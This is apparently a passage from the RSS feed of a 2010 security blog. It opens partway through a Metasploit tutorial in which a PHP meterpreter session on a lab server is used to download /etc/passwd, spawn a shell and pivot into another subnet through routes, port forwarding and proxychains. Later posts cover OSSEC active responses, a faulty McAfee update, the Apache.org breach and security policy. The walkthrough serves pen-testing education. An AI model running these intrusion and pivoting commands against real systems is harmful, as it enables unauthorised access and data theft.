[*] Meterpreter session 1 opened (192.168.142.129:40032 -&amp;gt; 192.168.142.128:4444) at 2010-07-27 00:12:04 +0100

meterpreter &amp;gt;
&lt;/pre&gt;
&lt;p&gt;We now have a meterpreter session, here are examples of commands that are
supported by the PHP meterpreter:&lt;/p&gt;
&lt;pre&gt;
meterpreter &amp;gt; sysinfo
Computer: castlebbs-vulnerable
OS      : Linux castlebbs-vulnerable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
meterpreter &amp;gt; cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       castlebbs-vulnerables.localdomain       castlebbs-vulnerable
192.168.204.12  windows-server.localdomain  windows-server
meterpreter &amp;gt; download /etc/passwd /tmp/pass
[*] downloading: /etc/passwd -&amp;gt; /tmp/pass
[*] downloaded : /etc/passwd -&amp;gt; /tmp/pass//etc/passwd
&lt;/pre&gt;
&lt;p&gt;We can obtain a shell:&lt;/p&gt;
&lt;pre&gt;
meterpreter &amp;gt; execute -i -f /bin/bash
Process 5487 created.
Channel 5 created.
ps
  PID TTY          TIME CMD
 5485 ?        00:00:00 apache2
 5486 ?        00:00:01 apache2
 6175 ?        00:00:00 sh
 6176 ?        00:00:00 bash
 6177 ?        00:00:00 ps
whoami
www-data
&lt;/pre&gt;
&lt;p&gt;Meterpreter for windows system includes much more functions that don't make
sense in the context of a php exploitation (eg. DLL injection, migration etc.).
But the real good thing with the php meterpreter is that it has a fully
functional support for port forwarding and enable also the creation of new
routes. For instance, having exploited a RFI on our web application, we can
pivot through the webserver and pen-test the windows server on the other subnet
still from our Metasploit server.&lt;/p&gt;
&lt;p&gt;First, let's have a look at the capability of adding a new route:&lt;/p&gt;
&lt;pre&gt;
msf exploit(php_include) &amp;gt; sessions -l

Active sessions
===============

  Id  Type         Information                           Connection
  --  ----         -----------                           ----------
  1   meterpreter  www-data (33) @ castlebbs-vulnerable  192.168.142.129:40032 -&amp;gt; 192.168.142.128:4444

msf exploit(php_include) &amp;gt; route add 192.168.204.0 255.255.255.0 1
msf exploit(php_include) &amp;gt; route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.204.0      255.255.255.0      Session 1
&lt;/pre&gt;
&lt;p&gt;It needs to be understood at this stage that this route is not added in the
operating system routing table, but on the framework itself. It means that most
of the auxiliary modules and the exploits will work directly and the network
traffic will be routed through the meterpreter. Below is an example of using
the &lt;code&gt;scanner/smb/smb_version&lt;/code&gt; on the routed host:&lt;/p&gt;
&lt;pre&gt;
msf &amp;gt; use scanner/smb/smb_version
msf auxiliary(smb_version) &amp;gt; set RHOSTS 192.168.204.12
RHOSTS =&amp;gt; 192.168.204.12
msf auxiliary(smb_version) &amp;gt; run

[*] 192.168.204.12 is running Windows XP Service Pack 2 (language: French) (name:CASTLEBBS) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/pre&gt;
&lt;p&gt;Then let's have a look at the port forwarding capability. While the routing
capability of metasploit is nice, as said previously, it is not a route defined
at the operating system level on the metasploit server. It means that no
software except metasploit can access the routed host directly. The command
below will forward the local port 222 (on the metasploit server) to the remote
port 22 of the vulnerable linux server.&lt;/p&gt;
&lt;pre&gt;
meterpreter &amp;gt; portfwd add -L 127.0.0.1 -l 222 -r 192.168.142.128 -p 22
[*] Local TCP relay created: 127.0.0.1:222 &amp;lt;-&amp;gt; 192.168.142.128:22
&lt;/pre&gt;
&lt;p&gt;Because we didn't upload a custom ssh server, we need to know the
credentials to login or (or let's say &lt;code&gt;scanner/ssh/ssh_login&lt;/code&gt; was
successful). Launching this command:&lt;/p&gt;
&lt;pre&gt;
ssh -p 222 localhost -l user
&lt;/pre&gt;
&lt;p&gt;Will actually open a ssh session on the vulnerable linux server, this is the
port forwarding. But there is better now, we can use the ssh port forwarding
options to access directly the ports from the windows server. Example below,
local port 445 is forwarded to port 445 on the windows server therefore smb
tools can be launched locally.&lt;/p&gt;
&lt;pre&gt;
ssh -L 445:192.168.204.12:445 -p 222 user@localhost
&lt;/pre&gt;
&lt;p&gt;And to have the bread and the butter, we can you the ssh dynamic port option
(-D please see man ssh) with proxychains on the metasploit host, so all traffic
is redirected to the vulnerable linux server acting as a socks proxy enabling
full access to the subnet(s) connected to&lt;/p&gt;
&lt;pre&gt;
Proxychains configuration (by default)
[ProxyList]
socks4  127.0.0.1 9050

# ssh -D 9050  -p 222 user@localhost
# proxychains nmap -sV 192.168.204.12
# proxychains msfconsole # haha this even worked - but maybe not very useful since metasploit has the route option
&lt;/pre&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>OSSEC active response with linux: logging dropped packets</title>
    <link>http://blog.ombrepixel.com/post/2010/05/13/OSSEC-active-response-with-linux%3A-logging-dropped-packets</link>
    <guid isPermaLink="false">urn:md5:815eb14d3d5a56d15c09d1b79ac0f95a</guid>
    <pubDate>Thu, 13 May 2010 21:08:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>    &lt;p&gt;&lt;a hreflang=&quot;en&quot; href=&quot;http://www.ossec.net/&quot;&gt;OSSEC&lt;/a&gt; is a great piece of
software. When you understand well how it works, you can consider using
&lt;a hreflang=&quot;en&quot; href=&quot;http://www.ossec.net/main/manual/manual-active-responses/&quot;&gt;active-responses&lt;/a&gt;
so it acts really like a Host-based Intrusion &lt;strong&gt;Prevention&lt;/strong&gt;
System. &lt;/p&gt;
&lt;p&gt;There are a number of risks in enabling active responses, more details on
the &lt;a hreflang=&quot;en&quot; href=&quot;http://www.ossec.net/main/manual/manual-active-responses/&quot;&gt;active-responses
page&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used by attackers as a denial of services attack (activating a response for
a large number of legitimate IPs for instance using IP spoofing).&lt;/li&gt;
&lt;li&gt;False positive: the configuration needs to be well fined-tuned for what
level and/or which rules will prompt an active response.&lt;/li&gt;
&lt;/ul&gt;
But when the risks are understood, it can be just a great active defense tool,
for example blocking in real-time brute-force attacks.&lt;br /&gt;
&lt;br /&gt;
Any custom active responses can be written. OSSEC comes with a set of active
responses scripts for Linux, one of them is &lt;code&gt;firewall-drop.sh&lt;/code&gt; that
add new rules to the linux firewall (iptables) to drop the packets.&lt;br /&gt;
&lt;br /&gt;
This entry is to describe how to enable logging of dropped packets. I find
useful to know if the response is efficient. For instance: what packets are
being blocked after the response is triggered, how long will the attack
continue, etc. This information is useful to tune the active-response
timeout.&lt;br /&gt;
&lt;br /&gt;
I like me you want to have logging enabled, since there is no options for that,
I propose a patch for &lt;code&gt;firewall-drop.sh&lt;/code&gt;:&lt;br /&gt;
&lt;a hreflang=&quot;en&quot; href=&quot;http://blog.ombrepixel.com/public/firewall-drop.sh.patch&quot;&gt;http://blog.ombrepixel.com/public/firewall-drop.sh.patch&lt;/a&gt;&lt;br /&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://blog.ombrepixel.com/public/activeresp.gif&quot; alt=&quot;&quot; title=&quot;activeresp.gif, May 2010&quot; /&gt;&lt;br /&gt;
&lt;p&gt;As showed on this &lt;a href=&quot;http://www.splunk.com/&quot; hreflang=&quot;en&quot;&gt;Splunk&lt;/a&gt;
chart above, it is possible to ensure that the active responses timeouts are
correct for a majority of attacks scenarios. At the bottom, in yellow are the
active responses: the first bar is when OSSEC started to block the IP the
second one is when OSSEC removed the firewall rules hence unblocking the IP. At
the top in blue are the packets being dropped by the attacker after the active
response was enabled.&lt;/p&gt;
&lt;p&gt;This patch works with OSSEC version 2.4.1&lt;/p&gt;</description>
    
          <enclosure url="http://blog.ombrepixel.com/public/firewall-drop.sh.patch"
      length="2411" type="text/plain" />
    
    
      </item>
    
  <item>
    <title>McAfee DAT 5958 deletes svchost.exe</title>
    <link>http://blog.ombrepixel.com/post/2010/04/21/McAfee-DAT-5958-delete-svchost.exe</link>
    <guid isPermaLink="false">urn:md5:0ff19f3ad984e60601f1bc912bac5b6a</guid>
    <pubDate>Wed, 21 Apr 2010 21:10:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>General</category>
            
    <description>    &lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: arial,sans-serif; font-size: 13px; border-collapse: collapse;&quot;&gt;&lt;a href=&quot;http://www.incidents.org/diary.html?storyid=8656&quot; target=&quot;_blank&quot; style=&quot;color: rgb(64, 100, 128);&quot;&gt;http://www.incidents.org/diary.html?storyid=8656&lt;/a&gt; Signatures
update 5958 locks out Windows XP SP3 clients deleting or putting in quarantine
the file&lt;img src=&quot;http://blog.ombrepixel.com/public/virus.jpg&quot; alt=&quot;&quot; style=&quot;float: right; margin: 0 0 1em 1em;&quot; title=&quot;virus, Apr 2010&quot; /&gt;
svchost.exe.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; font-size: 13px;&quot;&gt;It is definitely not the first
time an antivirus delete a critical file on an operating system (eg. &lt;a href=&quot;http://securityandthe.net/2008/11/10/avg-virus-scanner-removes-critical-windows-file/&quot; hreflang=&quot;en&quot;&gt;AVG removing user32.dll&lt;/a&gt;, &lt;a href=&quot;http://news.cnet.com/Flawed-Symantec-update-cripples-Chinese-PCs/2100-1002_3-6186271.html&quot; hreflang=&quot;en&quot;&gt;Symantec update that affected millions of PCs&lt;/a&gt; or &lt;a hreflang=&quot;en&quot; href=&quot;http://www.computerworld.com/s/article/9173818/Bad_BitDefender_update_clobbers_Windows_PCs&quot;&gt;
BitDefender update that caused 64-bit Windows machines to stop
working&lt;/a&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; font-size: 13px;&quot;&gt;Looking at the different posts on
various mailing-lists, it appears that some people now need to manually fix up
to thousands of PCs depending of the size of their network.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; font-size: 13px;&quot;&gt;It's time if it's not already
done to review your antivirus procedures to include testing and deployment
strategies: all signatures won't be deployed on all PCs at the same time. As
well as documenting the process you need to follow if you have a new virus that
is not detected, you need also to document what you can do if you have a false
positive. And... keep your antivirus vendor support contact numbers up-to-date
in case you need them!&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; font-size: 13px;&quot;&gt;If it's too late: &lt;a href=&quot;http://vil.nai.com/vil/5958_false.htm&quot; hreflang=&quot;en&quot;&gt;http://vil.nai.com/vil/5958_false.htm&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Apache.org incident: started with a XSS flaw</title>
    <link>http://blog.ombrepixel.com/post/2010/04/17/Apache.org-incident%3A-hackers-started-by-exploiting-an-XSS-flaw</link>
    <guid isPermaLink="false">urn:md5:0d40a8131c85eb8e179f727b14d93ab9</guid>
    <pubDate>Sat, 17 Apr 2010 16:21:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Exploit</category>
            
    <description>    &lt;p&gt;&lt;img title=&quot;apache.png, Apr 2010&quot; style=&quot;float: right; margin: 0 0 1em 1em;&quot; alt=&quot;&quot; src=&quot;http://blog.ombrepixel.com/public/apache.png&quot; /&gt;Apache.org has suffered a targeted attack
between the 5th and the 9th of April. The Apache infrastructure team wrote a
comprehensive &lt;a href=&quot;https://blogs.apache.org/infra/entry/apache_org_04_09_2010&quot; hreflang=&quot;en&quot;&gt;incident report&lt;/a&gt; that is worth reading.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;I find this report interesting because it is well written, and it is a
good example of a successful attack that is not too difficult to understand
from a technical point of view. It outlines well that a successful attack is
most of the time the result of successive exploitations of different
vulnerabilities.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt; &lt;br /&gt;
&lt;img title=&quot;JIRA Xss, Apr 2010&quot; alt=&quot;&quot; src=&quot;http://blog.ombrepixel.com/public/.jiraxss_m.jpg&quot; /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;The exploitation of a single vulnerability is often not enough to compromise
a system (this can happen though). Most of the time, it is the presence of
several vulnerabilities and the smart exploitation of a combination of them
that enable attackers to achieve their goals.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;It's important to bear this in mind when assessing the security of system.
If you use risk classification for vulnerabilities and you only look at them
individually you may underestimate the risk.&lt;/p&gt;
&lt;h3&gt;Reflected XSS risk?&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;This attack leaded to a compromise of two servers used by the foundation
(shell access, one server with root privileges), numerous passwords were
stolen, a web application has been modified to steal even more passwords
etc. and this wouldn't have been possible without the exploitation of the first
weakness: a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent&quot; hreflang=&quot;en&quot;&gt;non-persistent (or reflected) XSS&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;This type of cross-site scripting issue on web applications is very common.
Because this type of XSS is non-persistent, I unfortunately still
often see on security reports a level of risk &lt;strong&gt;Minor&lt;/strong&gt; for this
type of XSS. Obviously, a non-persistent XSS won't give you a remote root
account, but as you can see on the Apache compromise, this was the first step.
Without this first step the apache compromise wouldn't have been possible
(at least this scenario).&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;Ironically, I understood that XSS vulnerability is stepping down from rank
1 to rank 2 on the new 2010 OWASP Top Ten because from now on, the
team will focus more on risks that probability. This is my understanding
listening to &lt;a href=&quot;http://itknowledgeexchange.techtarget.com/security-wire-weekly/owasp-top-10-list-revised/&quot; hreflang=&quot;en&quot;&gt;this podcast&lt;/a&gt;. (The 2010 OWASP Top Ten is not
published yet at the time I wrote this article).&lt;/p&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;What can we learn from this incident?&lt;/h3&gt;
&lt;div&gt;
&lt;p&gt;In the report, the team explain, what the issues were and how they fixed
them (Sections What worked?, What didn't work?, What are we changing?).&lt;/p&gt;
&lt;p&gt;As said at the beginning of this article, this attack was not particularly
sophisticated. Using XSS to steal a session cookie is a case study, brute force
attack is obviously not new, improper file/folders permissions on a webserver
is more than common and issues related to storage of passwords are basics as
well etc.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;Although some of the vulnerabilities on the hacked servers/application could
have been fixed before, humans make mistakes and this is not going to change.
An important issue in my opinion is that the attack was left undetected for a
few days. With the current technology, the Apache team had to be alerted in
real time for a least:&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Brute force attack (hundred of thousands of password combination attack
cannot be left undetected)&lt;/li&gt;
&lt;li&gt;Change of an application administration settings (change the path to upload
attachments)&lt;/li&gt;
&lt;li&gt;Change of an application (New JSP files, JAR file that would collect all
passwords on login and save them)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;It's a common mistake to focus only on preventive controls. On the report I
can't read much about plans for detective controls. Even in the section &amp;quot;What
didn't work?&amp;quot; and &amp;quot;What are we changing?&amp;quot; there is no mention of being alerted
that something is going wrong.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;Today, it is important to have pro-active monitoring on what is happening on
our servers. Logs should be monitored and alerts should be raised based on some
criteria/threshold, operating systems and applications configuration and
program files should be monitored using integrity checking tools etc.
Procedures should be in place to monitor and react based on these events. At
the end of the day it's people that will take actions so their involvement in
the monitoring process should not be overlooked.&lt;/p&gt;
&lt;p&gt;Regarding technology for monitoring, many products are available, on the
OpenSource side, I would definitely recommend having a look at &lt;a hreflang=&quot;en&quot; href=&quot;http://www.ossec.net/&quot;&gt;ossec&lt;/a&gt;,  this is a Host Based Intrusion
Detection System (HIPS)&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;Also, it is
important to mention that this kind of attack is very common and it's not
possible to rely on network infrastructure security to prevent those attacks:
firewalls, network Intrusion Prevention Systems etc. are likely to let the
attackers in. There was no buffer overflows or usage of unauthorized network
ports used in this attack for instance.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;h4&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;Other
considerations&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;a hreflang=&quot;en&quot; href=&quot;http://tinyurl.com/&quot;&gt;Tinyurl&lt;/a&gt; and the others URL shortening websites
are used now to deceive you clicking on the link and being victim of cross-site
scripting attacks. You should be careful clicking on these links and I would
recommend using the Preview feature.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;img title=&quot;Tpreview, Apr 2010&quot; alt=&quot;&quot; src=&quot;http://blog.ombrepixel.com/public/tinypreview.png&quot; /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;On this attack,
once an administrator session was hijacked exploiting the XSS vulnerability,
the next steps were possible because of a badly configured web applications: it
was possible to copy JSP files to a folder that will execute them. This is an
issue I see very often: the operating system user that run the web server
should not have the right to write to a folder that execute dynamic web
pages.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>The three most important security policies</title>
    <link>http://blog.ombrepixel.com/post/2010/02/12/Three-most-important-security-policies</link>
    <guid isPermaLink="false">urn:md5:81e6cba9dca1c58399f3bd1f73f0740d</guid>
    <pubDate>Fri, 12 Feb 2010 21:57:00 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>General</category>
            
    <description>    &lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; line-height: 15px;&quot;&gt;
&lt;em&gt;What are the top 3 most important information security policies a company
can have?&lt;/em&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;&lt;a href=&quot;http://www.linkedin.com/answers/technology/information-technology/information-security/TCH_ITS_ISC/624305-2377121&quot; hreflang=&quot;en&quot;&gt;&lt;img src=&quot;http://blog.ombrepixel.com/public/.policies_s.jpg&quot; alt=&quot;&quot; style=&quot;float: left; margin-top: 0; margin-right: 1em; margin-bottom: 1em; margin-left: 0;&quot; title=&quot;policies, Feb 2010&quot; /&gt;This question&lt;/a&gt; was asked on Linkedin and I
found it very interesting to read the different opinions given. Based on the
answers, I think it is possible to guess differences in people approach of
security policies. I found for example, that reading the answers, you can
figure out if the person is technology or process minded.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;My answer reflects my opinion regarding
Information Security. I think that technology is obviously essential to protect
information systems. However:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; line-height: 15px;&quot;&gt;
without a strong governance structure...&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; line-height: 15px;&quot;&gt;
...driving a security program...&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; line-height: 15px;&quot;&gt;
...supported by a consistent set of security policies...&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;... technology can be a waste of money.
The cursor should be put somewhere between technology and governance. If it
positioned too near technology you will experience these example of
issues:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;No authority to enforce a security
requirement (eg. You need to install a great security product on the servers of
a new project, but the project manager doesn't want it to be installed, he has
the final word because this new application needs to go live as soon as
possible). &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;No consistence in the application of
security across the information assets (eg. who care about the security of the
old mainframe!, you prefer working on the security of your new virtual
infrastructure!).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;No strategy or alignment with business
current and future objectives/initiatives (eg. You keep working on preventing
the &lt;a href=&quot;http://sunbeltblog.blogspot.com/2010/02/winxp-users-hold-off-on-installing.html&quot; hreflang=&quot;en&quot;&gt;blue screen of death&lt;/a&gt; with the new Microsoft security
patches whereas your company plan to acquire one competitor, just connect both
networks directly and didn't think someone should be concerned by
security).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;You have many firewalls, intrusion
detection systems, proxies, anti-virus, but programmers don't have any secure
programming standards and web application programmers have never heard about
OWASP.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;You have many firewalls, intrusion
detection systems, proxies, anti-virus, but you are still ensure that you
will be aware of an attack because you don't have time to review the logs and
you are not too sure if the alerts work.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;...&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;Well, actually I could do a very very
long list, it could be funny though, I may try to contact the MITRE to &lt;a href=&quot;http://measurablesecurity.mitre.org/&quot; hreflang=&quot;en&quot;&gt;propose a new
enumeration&lt;/a&gt;: Technology focused security drawback enumeration (TFSDE)
:-)&lt;br /&gt;&lt;/span&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;Well, as you probably understood reading
these few lines, I am more that convinced that security policies are essential.
Policies establish, but also demonstrate governance. I am convinced about the
essential need of security policies, but for the right reasons, not to tick a
box and have my number of issues decreased when the auditor comes back. That's
unfortunately still the main driver for policies and information security in
general. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;&lt;strong&gt;My &lt;/strong&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; line-height: 15px;&quot;&gt;&lt;strong&gt;Answer
to the question:&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; line-height: 15px;&quot;&gt;&lt;strong&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal; font-style: italic;&quot;&gt;What are the top 3 most
important information security policies a company can
have?&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; line-height: 15px;&quot;&gt;
This is actually a very good question, and any security professional has to
review policies, and needs to prioritize his work. So it makes sense to find
out where to start.&lt;br /&gt;
&lt;br /&gt;
I like the work done by Thomas R. Peltier trying to categorize policies in
three tier:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Global policies (Tier 1)&lt;/li&gt;
&lt;li&gt;Topic-specific policies (Tier 2)&lt;/li&gt;
&lt;li&gt;Application-specific policies (Tier 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The CISSP describes as well 3 classifications of policies that matches more or
less the one from Mr Peltier:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Organizational or Program policy&lt;/li&gt;
&lt;li&gt;Functional, issue specific policies&lt;/li&gt;
&lt;li&gt;System specific policies&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
As I have never seen two companies having the same set of policies (even if in
a way of another they address the same things), I find it useful to first
identify what category they are from.&lt;br /&gt;
&lt;br /&gt;
If you see the set of policies like a pyramid, the policy at the top is the
most important and the one that needs to be reviewed first. This is the one in
the Tier 1 (Peltier's classification) or Organizational policy (CISSP
classification).&lt;br /&gt;
&lt;br /&gt;
Let's call it the &amp;quot;Organizational Information Security Policy&amp;quot; at the top of
the pyramid. This policy normally lays out fundamental things like&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Governance structure for security&lt;/li&gt;
&lt;li&gt;Senior management commitment&lt;/li&gt;
&lt;li&gt;lays out strategic and tactical security program&lt;/li&gt;
&lt;li&gt;Define roles and responsibilities&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
I like this policy to be easy to read as a reference document for all
employees. I like to keep it short (4-5 pages max) I would definitely review
this document first. &lt;br /&gt;
&lt;br /&gt;
The next one I would look at is the Asset classification policy. It needs to be
really crystal clear to the company what assets need to be protected, to what
extend and who is the owner.&lt;br /&gt;
&lt;br /&gt;
For the third one, if you are responsible for Business Continuity, I would say
the Business Continuity Management policy. If this is out of your scope, my
third one would be Acceptable use policy.&lt;br /&gt;
&lt;br /&gt;
I definitely think that information security is more about strategy and senior
management commitment than trying to address it from the technology
requirements, that's why I would definitely start reviewing, updating and have
the Tier 1 policies signed off again.</description>
    
    
    
      </item>
    
  <item>
    <title>IBM i security</title>
    <link>http://blog.ombrepixel.com/post/2010/02/03/IBM-i-security</link>
    <guid isPermaLink="false">urn:md5:3f3aebd2ed1e56a14456a05a446a18df</guid>
    <pubDate>Wed, 03 Feb 2010 22:33:00 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>General</category>
            
    <description>    &lt;p&gt;&lt;strong&gt;IBM i&lt;/strong&gt; is the operating system (formerly known as i5/OS or
OS/400) that runs on System i hardware (formerly known as iSeries and AS/400).
System i was the IBM mid-range of computer systems. IBM now offer IBM i on
their new range of computer systems: Power Systems.&lt;img src=&quot;http://blog.ombrepixel.com/public/.IBM-iSeries_s.jpg&quot; alt=&quot;&quot; style=&quot;float: right; margin-top: 10pt; margin-right: 10pt; margin-bottom: 10pt; margin-left: 10pt;&quot; title=&quot;IBM i, Feb 2010&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IBM i is used by many industries and generally host the organisations'
critical data and applications. Given the classification of the data that is
stored/proceeded on those systems, ensuring a high level of security is
paramount.&lt;/p&gt;
&lt;p&gt;Mid-range computer systems and mainframes has gained a reputation of being
very secure. They are known to be secure by design (compared to Windows and
Unix operating systems). This belief is generally shared between IT
professionals and auditors. However, few security professionals and auditors
are familiar with these systems and a comprehensive assessment of these systems
may be overlooked.&lt;/p&gt;
&lt;p&gt;The company &lt;a href=&quot;http://www.powertech.com/&quot; hreflang=&quot;en&quot;&gt;Powertech&lt;/a&gt;
did a survey of around 200 system i servers (many fortune 100 companies). The
result is amazing. Looking at this reports, it seems obvious that the security
of those systems should be getting more focus:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Almost 10% of enabled user profiles have default passwords. Over half the
systems in the study have more than 15 user profiles with default
passwords.&lt;/li&gt;
&lt;li&gt;Too many users have high privileges over the operating system&lt;/li&gt;
&lt;li&gt;Weak password policies&lt;/li&gt;
&lt;li&gt;Lack of adequate controls over data: at the object level (platform and
database layer) the majority of users has access to any data, hence breaching
the need to know and separation of duties basis.&lt;/li&gt;
&lt;li&gt;65% of the surveyed systems have no logical access control over network
access: one can download the content of a database without any audit log and
control at the network layer. Because of the issue described above on object
level access control, on 65% of the systems audited, virtually any user can
extract or modify any data from database tables without any auditing logs or
restrictions. No needs to be a wizard, a simple ftp client or the excel add-on
provided with the IBM Client will get the data for you.&lt;/li&gt;
&lt;li&gt;18% of the systems have no auditing features activated at all.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What is really interesting is that the vulnerabilities highlighted here are
very basic things: Trivial passwords, generic accounts, access control,
log/monitoring, no hardening of the security settings etc. All recipes that are
used on micro-computers and that are now mature should be applied on IBM i.&lt;/p&gt;
&lt;h4&gt;Network access control and auditing&lt;/h4&gt;
&lt;p&gt;Historically, the only way to access those systems was a dumb terminal.
Access control was done restricting the user's menu on the terminal. There were
not many paths to the database or platform (operating system) layers. There was
